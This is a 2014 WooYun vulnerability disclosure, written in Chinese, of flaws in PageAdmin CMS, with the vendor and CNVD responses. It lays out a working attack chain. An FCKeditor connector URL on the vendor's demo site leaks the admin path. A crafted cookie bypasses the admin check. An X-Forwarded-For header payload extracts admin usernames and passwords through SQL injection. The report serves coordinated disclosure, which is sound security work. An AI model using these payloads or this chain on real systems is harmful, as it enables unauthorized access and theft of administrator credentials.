漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-061609
漏洞标题:PageAdmin CMS最新版SQL注入
相关厂商:PageAdmin
漏洞作者: cmd
提交时间:2014-05-20 22:49
修复时间:2014-08-18 22:50
公开时间:2014-08-18 22:50
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-25: 厂商已经确认,细节仅向厂商公开
2014-05-28: 细节向第三方安全合作伙伴开放
2014-07-19: 细节向核心白帽子及相关领域专家公开
2014-07-29: 细节向普通白帽子公开
2014-08-08: 细节向实习白帽子公开
2014-08-18: 细节向公众公开
简要描述:
PageAdmin CMS最新版SQL注入
详细说明:
系统保存日志功能,没有过滤IP,导致了SQL注入漏洞
// PageAdmin.Log
public void Save(int SiteId, int IsMaster, string thetype, int state, string username, string description)
{
string clientIP = this.GetClientIP();
Conn conn = new Conn();
string connectionString = conn.Constr();
OleDbConnection oleDbConnection = new OleDbConnection(connectionString);
oleDbConnection.Open();
string cmdText = string.Concat(new object[]
{
"insert into pa_log([site_id],[task_id],[ismaster],[state],[thetype],[username],[url],[description],[ip],[thedate]) values(",
SiteId,
",0,",
IsMaster,
",",
state,
",'",
this.f(thetype),
"','",
this.f(username),
"','",
HttpContext.Current.Request.RawUrl,
"','",
this.f(description),
"','",
clientIP,
"','",
DateTime.Now,
"')"
});
OleDbCommand oleDbCommand = new OleDbCommand(cmdText, oleDbConnection);
oleDbCommand.ExecuteNonQuery();
oleDbConnection.Close();
}
// PageAdmin.Log
private string GetClientIP()
{
string result;
if (HttpContext.Current == null)
{
result = "127.0.0.1";
}
else
{
HttpRequest request = HttpContext.Current.Request;
string text = request.ServerVariables["HTTP_X_FORWARDED_FOR"];
if (string.IsNullOrEmpty(text))
{
text = request.ServerVariables["REMOTE_ADDR"];
}
if (string.IsNullOrEmpty(text))
{
text = request.UserHostAddress;
}
result = text;
}
return result;
}
可以看出IP是从HTTP_X_FORWARDED_FOR获取的,没有任何过滤,直接就插入到了数据库。
因为要用报错的方法注入,access版无法注入,SQL SERVER才行。
这个函数大多是是在对网站修改时才会调用,后台登陆刚好调用了这个函数
有些网站把后台登陆地址改掉了,这里我们可以用一种方法来找出来,用fckeditor列目录漏洞,列出来,漏洞文件是
/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
这里和2.x版本的漏洞差不多,只检测了Cookie,代码过长就不贴了
它检测了Master是否存在,然后检测Master[UID]是不是存在,然后根据UID来查询用户表,如果查到了用户,就检测是不是admin组的,如果是,就把UID对应用户的最后登录时间用她自带的Md5函数加密,和Master[Valicate]做比较,相同就能绕过,但是这里有个问题,如果UID是不存在的,他就会用空字符串""来和Master[Valicate]做比较,所以只要我们提交一个不存在的UID,再用Md5加密""作为Master[Valicate]的值,就可以绕过这里的验证。
利用下面这个aspx计算出加密后的字符串是17b62103fec08a1333215b141bb18217f11c8e13a
<% @ Page language="c#"%>
<% @ Import NameSpace="System.Data"%>
<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
protected void Page_Load(Object sender,EventArgs e)
{
Response.Write(new Md5().Get_Md5(""));
}
</script>
最后用Cookie: Master=1&UID=9999&Valicate=17b62103fec08a1333215b141bb18217f11c8e13a就能绕过了。
fckeditor.net版大都有遍历目录的漏洞,就是把当前目录设置成d:/,就能查看d盘的文件
如果没权限查看磁盘根目录,也可以把当前目录改成!,让他报错,就能知道网站路径。
http://demo.pageadmin.net/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=!
这样就找到了网站后台路径,然后登陆后台,用burp修改X-Forwarded-For头来进行注入。
漏洞证明:
设置HTTP头
X-Forwarded-For: 8.8.8.8','');select 1 from pa_member where (select top 1 username+':'+userpassword from pa_member where m_group='admin')>0--
然后打开网站后台,登陆网站
修复方案:
用session
版权声明:转载请注明来源 cmd@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:13
确认时间:2014-05-25 14:14
厂商回复:
CNVD将会整理最近所有PageAdmin漏洞,通过公开联系渠道向软件生产厂商通报处置。
最新状态:
暂无